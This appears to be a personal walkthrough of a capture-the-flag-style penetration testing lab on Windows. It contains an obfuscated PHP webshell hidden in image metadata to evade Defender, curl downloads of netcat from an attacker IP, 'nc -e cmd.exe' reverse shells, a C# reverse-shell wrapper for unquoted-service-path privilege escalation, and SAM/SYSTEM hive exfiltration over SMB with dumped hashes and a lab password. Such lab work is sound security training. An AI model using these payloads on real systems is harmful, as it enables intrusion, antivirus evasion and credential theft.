    └─$ separator="======================================="; for i in $(ls); do printf "\n\n$separator\n\033[4;1m$i\033[0m\n$(cat $i/commit-meta.txt)\n"; done; printf "\n\n$separator\n\n\n"
    
    =======================================
    0-345ac8b236064b431fa43f53d91c98c4834ef8f3
    tree c4726fef596741220267e2b1e014024b93fced78
    parent 82dfc97bec0d7582d485d9031c09abcb5c6b18f2
    author twreath <me@thomaswreath.thm> 1609614315 +0000
    committer twreath <me@thomaswreath.thm> 1609614315 +0000
    
    Updated the filter
    
    =======================================
    1-82dfc97bec0d7582d485d9031c09abcb5c6b18f2
    tree 03f072e22c2f4b74480fcfb0eb31c8e624001b6e
    parent 70dde80cc19ec76704567996738894828f4ee895
    author twreath <me@thomaswreath.thm> 1608592351 +0000
    committer twreath <me@thomaswreath.thm> 1608592351 +0000
    
    Initial Commit for the back-end
    
    =======================================
    2-70dde80cc19ec76704567996738894828f4ee895
    tree d6f9cc307e317dec7be4fe80fb0ca569a97dd984
    author twreath <me@thomaswreath.thm> 1604849458 +0000
    committer twreath <me@thomaswreath.thm> 1604849458 +0000
    
    Static Website Commit
    
    =======================================
    
  1. 2 = Static website commit / 1 = Initial Commit for the backend / 0 = Updated the filter
  2. So 0 is our most up to date since it is the updated version.

Task 36 - Website Code Analysis

  1. Lets look for php in the /0 directory find . -name "*.php" → finds ./resources/index.php
  2. In this file we can see there are two filters in place, and a simple check to see if the file already exists.
$size = getimagesize($_FILES["file"]["tmp_name"]);
if(!in_array(explode(".", $_FILES["file"]["name"])[1], $goodExts) || !$size){
    header("location: ./?msg=Fail");
    die();
}
  1. Also, in line 9 we can see accepted extensions
  • Which extensions are accepted jpg,jpeg,png,gif
  1. Between lines 4 and 15:
$target = "uploads/".basename($_FILES["file"]["name"]);
...
move_uploaded_file($_FILES["file"]["tmp_name"], $target);
  1. We can see that the file will get moved into an uploads/ directory with it's original name, assuming it passed the two filters.

Task 37 - Exploit PoC

  1. Let’s go to the /uploads directory we found

    Untitled

  2. So we know from the source code that we have Thomas and twreath as usernames, and the password from mimikatz earlier when we did lsadump and then cracked the hash for the password i<3ruby

  3. Seems like Thomas:i<3ruby worked, it made the popup dissapear and is just loading

  4. Refreshed the page and got this lol

    Untitled

  5. Well we see this upload page and we know from the script earlier that we have 4 allowed script types; jpg,jpeg,png,gif

  6. Pretty sure we can just bypass the filter with a reverse shell if we do like rev.jpg.php but we want some sort of command injection, so let’s add a payload <?php echo "<pre>Test Payload</pre>"; die();?> to our jpg file with exiftool: exiftool -Comment="<?php echo \"<pre>Test Payload</pre>\"; die(); ?>" test-ch.jpg.php

  7. Upload test-ch.jpg.php

    Untitled


AV Evasion

Task 38 - Introduction

By nature, AV Evasion is a rapidly changing topic. It's a constant dance between hackers and developers. Every time the developers release a new feature, the hackers develop a way around it. Every time the hackers bypass a new feature, the developers release another feature to close off the exploit, and so the cycle continues. Due to the speed of this process, it is nigh impossible to teach bleeding-edge techniques (and expect them to stay relevant for any length of time).

When it comes to AV evasion we have two primary types available:

  • On-Disk evasion
  • In-Memory evasion

On-Disk evasion is when we try to get a file (be it a tool, script, or otherwise) saved on the target, then executed. This is very common when working with executable (.exe) files.

In-Memory evasion is when we try to import a script directly into memory and execute it there. For example, this could mean downloading a PowerShell module from the internet or our own device and directly importing it without ever saving it to the disk.

  • Which category of evasion covers uploading a file to the storage on the target before executing it? on-disk evasion
  • What does AMSI stand for? Anti-Malware Scan Interface
  • Which category of evasion does AMSI affect? in-memory evasion

Task 39 - AV Detection Methods

Generally speaking, detection methods can be classified into one of two categories:

  • Static Detection
  • Dynamic / Heuristic / Behavioural Detection

Static detection methods usually involve some kind of signature detection. A very rudimentary system, for example, would be taking the hashsum of the suspicious file and comparing it against a database of known malware hashsums. This system does tend to be used; however, it would never be used by itself in modern antivirus solutions.

  • What other name can be used for Dynamic/Heuristic detection methods? Behavioural
  • If AV software splits a program into small chunks and hashes them, checking the results against a database, is this a static or dynamic analysis method? static
  • When dynamically analysing a suspicious file using a line-by-line analysis of the program, what would antivirus software check against to see if the behaviour is malicious? Pre-defined rules
  • What could be added to a file to ensure that only a user can open it (preventing AV from executing the payload)? password

Task 40 - PHP Payload Obfuscation

We have an upload point which we can use to upload PHP scripts. We now need to figure out how to make a PHP script that will bypass the antivirus software. Windows Defender is free and comes pre-installed with Windows Server, so let's assume that this is what is in use for the time being.

  1. Payload to do what we need
<?php
    $cmd = $_GET["wreath"];
    if(isset($cmd)){
        echo "<pre>" . shell_exec($cmd) . "</pre>";
    }
    die();
?>

This is using a GET parameter called “wreath” is set, if so execute shell_exec() inside of HTML using <pre>. Then use die() to prevent the rest of the image from showing up as garbled text on the screen.

This is slightly longer than the classic PHP one-liner webshell (<?php system($_GET["cmd"]);?>) for two reasons:

  1. If we're obfuscating it then it will become a one-liner anyway
  2. Anything different is good when it comes to AV evasion

We can obfuscate our code with an onine PHP obfuscater https://www.gaijin.at/en/tools/php-obfuscator

Untitled

<?php $n0=$_GET[base64_decode('d3JlYXRo')];if(isset($n0)){echo base64_decode('PHByZT4=').shell_exec($n0).base64_decode('PC9wcmU+');}die();?>

Obfuscated code ^

  1. Turn an image into a shell cp random.jpg ./shell-CH.jpeg.php to dodge that .php filter

  2. exiftool comment like we did before but now it has our obfuscated payload exiftool -Comment="<?php \$p0=\$_GET[base64_decode('d3JlYXRo')];if(isset(\$p0)){echo base64_decode('PHByZT4=').shell_exec(\$p0).base64_decode('PC9wcmU+');}die();?>" shell-CH.jpeg.php

  3. Upload to .100/resources web app

  4. http://10.200.90.100/resources/uploads/shell-CH.jpeg.php and we can see it exists

    Untitled

  5. http://10.200.90.100/resources/uploads/shell-CH.jpeg.php?wreath=systeminfo works as well

    Untitled


Task 41 - Compiling Netcat & Reverse Shell

  1. Since this is a windows machine we need nc64.exe and I have this on old HTB boxes so I just copied it into my Wreath directory.

  2. Let’s check with our RCE from last task if certutil.exe is installed: shell-CH.jpeg.php?wreath=certutil.exe

    Untitled

Certutil is a default Windows tool that is used to (amongst other things) download CA certificates. This also makes it ideal for file transfers, but Defender flags this as malicious.

Instead we'll stick with trusty old cURL: curl http://ATTACKER_IP/nc.exe -o c:\\windows\\temp\\nc-USERNAME.exe

dir = C:\xampp\htdocs\resources\uploads

  1. My request: 10.200.90.100/resources/uploads/shell-CH.jpeg.php?wreath=curl http://10.50.91.198/nc64.exe -o C:\\windows\\temp\\nc-CH.exe

    Untitled

We now have everything we need to get a reverse shell back from this target.

  1. Set up a listener locally nc -lvnp 9292
  2. In the web app RCE now: 10.200.90.100/resources/uploads/shell-CH.jpeg.php?wreath=powershell.exe c:\\windows\\temp\\nc-CH.exe 10.50.91.198 9292 -e cmd.exe
└─$ nc -lvnp 9292                                                                                               1listening on [any] 9292 ...
connect to [10.50.91.198] from (UNKNOWN) [10.200.90.100] 50107
Microsoft Windows [Version 10.0.17763.1637]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\xampp\htdocs\resources\uploads>

Task 42 - Enumeration

  • We could (and should) always start with a little manual enumeration. This will be relatively quiet and gives us a baseline to work with
  • Defender would definitely catch a regular copy of WinPEAS; however, it would be unlikely to catch either the .bat version or the obfuscated .exe version, both of which are released in the PEAS repository alongside the regular version
  • Chances are that AMSI will alert Defender if we try to load any PowerShell privesc check scripts (e.g. PowerUp), so we'd ideally be looking for obfuscated versions of these if we were to use them
  1. whoami /priv
  • result

    whoami /priv
    
    PRIVILEGES INFORMATION
    ----------------------
    
    Privilege Name                Description                               State   
    ============================= ========================================= ========
    SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
    SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
    SeCreateGlobalPrivilege       Create global objects                     Enabled 
    SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
    

SeImpersonatePrivilege is definitely our point of interest

  1. whoami /groups to check current user’s groups, but unfortunately this account isn’t in the Local Admin group:
  • result

    whoami /groups
    
    GROUP INFORMATION
    -----------------
    
    Group Name                           Type             SID          Attributes                                        
    ==================================== ================ ============ ==================================================
    Everyone                             Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
    BUILTIN\Users                        Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
    NT AUTHORITY\SERVICE                 Well-known group S-1-5-6      Mandatory group, Enabled by default, Enabled group
    CONSOLE LOGON                        Well-known group S-1-2-1      Mandatory group, Enabled by default, Enabled group
    NT AUTHORITY\Authenticated Users     Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
    NT AUTHORITY\This Organization       Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
    NT AUTHORITY\Local account           Well-known group S-1-5-113    Mandatory group, Enabled by default, Enabled group
    LOCAL                                Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group
    NT AUTHORITY\NTLM Authentication     Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
    Mandatory Label\High Mandatory Level Label            S-1-16-12288
    

Windows services are commonly vulnerable to various attacks, so we'll start there. Generally speaking, it's unlikely that core Windows services will be vulnerable to anything -- user installed services are far more likely to have holes in them.

  1. Let's start by looking for non-default services: wmic service get name,displayname,pathname,startmode | findstr /v /i "C:\Windows"
  • result

    wmic service get name,displayname,pathname,startmode | findstr /v /i "C:\Windows"
    DisplayName                                                                         Name                                      PathName                                                                                    StartMode  
    Amazon SSM Agent                                                                    AmazonSSMAgent                            "C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe"                                          Auto       
    Apache2.4                                                                           Apache2.4                                 "C:\xampp\apache\bin\httpd.exe" -k runservice                                               Auto       
    AWS Lite Guest Agent                                                                AWSLiteAgent                              "C:\Program Files\Amazon\XenTools\LiteAgent.exe"                                            Auto       
    LSM                                                                                 LSM                                                                                                                                   Unknown    
    Mozilla Maintenance Service                                                         MozillaMaintenance                        "C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"                 Manual     
    NetSetupSvc                                                                         NetSetupSvc                                                                                                                           Unknown    
    Windows Defender Advanced Threat Protection Service                                 Sense                                     "C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe"                  Manual     
    System Explorer Service                                                             SystemExplorerHelpService                 C:\Program Files (x86)\System Explorer\System Explorer\service\SystemExplorerService64.exe  Auto       
    Windows Defender Antivirus Network Inspection Service                               WdNisSvc                                  "C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2011.6-0\NisSrv.exe"               Manual     
    Windows Defender Antivirus Service                                                  WinDefend                                 "C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2011.6-0\MsMpEng.exe"              Auto       
    Windows Media Player Network Sharing Service                                        WMPNetworkSvc                             "C:\Program Files\Windows Media Player\wmpnetwk.exe"                                        Manual
    

Our point of interest is going to be SystemExplorerHelpService. The lack of quotation marks around this service path indicates that it might be vulnerable to an Unquoted Service Path attack. In short, if any of the directories in that path contain spaces (which several do) and are writeable (which we are about to check), then -- assuming the service is running as the NT AUTHORITY\SYSTEM account, we might be able to elevate privileges.

  1. Let’s look into this service sc qc SystemExplorerHelpService
  • result

    sc qc SystemExplorerHelpService
    [SC] QueryServiceConfig SUCCESS
    
    SERVICE_NAME: SystemExplorerHelpService
            TYPE               : 20  WIN32_SHARE_PROCESS 
            START_TYPE         : 2   AUTO_START
            ERROR_CONTROL      : 0   IGNORE
            BINARY_PATH_NAME   : C:\Program Files (x86)\System Explorer\System Explorer\service\SystemExplorerService64.exe
            LOAD_ORDER_GROUP   : 
            TAG                : 0
            DISPLAY_NAME       : System Explorer Service
            DEPENDENCIES       : 
            SERVICE_START_NAME : LocalSystem
    

It is running as LocalSystem

  1. Let’s check permissions of the directory it is in: powershell "get-acl -Path 'C:\Program Files (x86)\System Explorer' | format-list"
  • result

    powershell "get-acl -Path 'C:\Program Files (x86)\System Explorer' | format-list"
    
    Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\System Explorer
    Owner  : BUILTIN\Administrators
    Group  : WREATH-PC\None
    Access : BUILTIN\Users Allow  FullControl
             NT SERVICE\TrustedInstaller Allow  FullControl
             NT SERVICE\TrustedInstaller Allow  268435456
             NT AUTHORITY\SYSTEM Allow  FullControl
             NT AUTHORITY\SYSTEM Allow  268435456
             BUILTIN\Administrators Allow  FullControl
             BUILTIN\Administrators Allow  268435456
             BUILTIN\Users Allow  ReadAndExecute, Synchronize
             BUILTIN\Users Allow  -1610612736
             CREATOR OWNER Allow  268435456
             APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
             APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  -1610612736
             APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
             APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  -1610612736
    Audit  : 
    Sddl   : O:BAG:S-1-5-21-3963238053-2357614183-4023578609-513D:AI(A;OICI;FA;;;BU)(A;ID;FA;;;S-1-5-80-956008885-341852264
             9-1831038044-1853292631-2271478464)(A;CIIOID;GA;;;S-1-5-80-956008885-3418522649-1831038044-1853292631-22714784
             64)(A;ID;FA;;;SY)(A;OICIIOID;GA;;;SY)(A;ID;FA;;;BA)(A;OICIIOID;GA;;;BA)(A;ID;0x1200a9;;;BU)(A;OICIIOID;GXGR;;;
             BU)(A;OICIIOID;GA;;;CO)(A;ID;0x1200a9;;;AC)(A;OICIIOID;GXGR;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)(A;OICIIOID;GXGR;
             ;;S-1-15-2-2)
    

We have full control over this directory.


Task 43 - Privilege Escalation

  1. Create a Wrapper.cs file:
  • file

    using System;
    using System.Diagnostics;
    
    namespace Wrapper{
        class Program{
            static void Main(){
                Process proc = new Process();
    	    ProcessStartInfo procInfo = new ProcessStartInfo("c:\\windows\\temp\\nc-CH.exe", "10.50.91.198 9595 -e cmd.exe");
    	    procInfo.CreateNoWindow = true;
    	    proc.StartInfo = procInfo;
    	    proc.Start();
            }
        }
    }
    
  1. mcs Wrapper.cs = Wrapper.exe
  2. On target; curl http://10.50.91.198:8080/Wrapper.exe -o %TEMP%\Wrapper-CH.exe
  3. Execute it brotha "%TEMP%\Wrapper-CH.exe"
  4. We know we have full permission over "C:\Program Files (x86)\System Explorer\System.exe"
    1. So we copy our wrapper here: copy %TEMP%\Wrapper-CH.exe "C:\Program Files (x86)\System Explorer\System.exe"

      Untitled

Now we can stop and restart the service and it should use our malicious System.exe file

  1. sc stop SystemExplorerHelpService

    Untitled

  2. sc start SystemExplorerHelpService

Untitled

It shows it failed…. but:

Untitled

Our listener says different 😉

Let's clear up after ourselves by deleting the wrapper and starting the service:

del "C:\Program Files (x86)\System Explorer\System.exe"

sc start SystemExplorerHelpService

Clearing up after exploits is a good habit to get into. This also has the added bonus of being courteous to other users in the box who may be about to perform the exploit. Note that deleting the wrapper and restarting the service did not destroy the system shell!


Exfiltration

Task 44 - Exfiltration Techniques & Post Exploitation

A common method for exfiltrating data is to smuggle it out within a harmless protocol, usually encoded. For example, DNS is often used to (relatively) quietly exfiltrate data. HTTPS tends to be a good option as the data will outright be encrypted before egress takes place. ICMP can be used to (very slowly) get the data out of the network. DNS-over-HTTPS is superb for data exfiltration, and even email is often used.

Let’s put this into practice:

  1. Best idea is to dump a SAM hive, but you can only do this while not on the machine
  2. Install impacket sudo git clone https://github.com/SecureAuthCorp/impacket /opt/impacket && cd /opt/impacket && sudo pip3 install .
  3. Temporary SMB server: sudo python3 /opt/impacket/examples/smbserver.py share . -smb2support -username user -password s3cureP@ssword
  4. Connect to the SMB server on our target machine: net use \\10.50.91.198\share /USER:user s3cureP@ssword
  5. Create a SAM backup reg.exe save HKLM\SAM \\10.50.91.198\share\sam.bak
  6. We also need the SYSTEM hive which contains the boot key for the machine reg.exe save HKLM\SYSTEM \\10.50.91.198\share\system.bak

We can now see we have the files locally

Untitled

  1. On the target machine we can delete it now if we want net use \\10.50.91.198\share /del
  2. We now dump with:
┌──(collinhacks㉿CH)-[~/Lab/THM/Wreath]
└─$ python3 /opt/impacket/examples/secretsdump.py -sam sam.bak -system system.bak LOCAL
Impacket v0.10.1.dev1+20230728.114623.fb147c3f - Copyright 2022 Fortra

[*] Target system bootKey: 0xfce6f31c003e4157e8cb1bc59f4720e6
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a05c3c807ceeb48c47252568da284cd2:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:06e57bdd6824566d79f127fa0de844e2:::
Thomas:1000:aad3b435b51404eeaad3b435b51404ee:02d90eda8f6b6b06c32d5f207831101f:::
[*] Cleaning up...

The NT Hash is the last part of the hash: a05c3c807ceeb48c47252568da284cd2


Useful resource links

Lessons Learned

  • Learned a lot here. To cover some, we learned Empire which seems super powerful but I feel as I can do a majority of it with impacket tools which takes a lot less time and is easier to spin up.
  • Practiced a lot of active directory methods here to pivot which was great, used tools like chisel, ssh tunneling, etc.
  • Exploited a couple new forms of CMS, Gitserver, Gitstack, and MiniServ.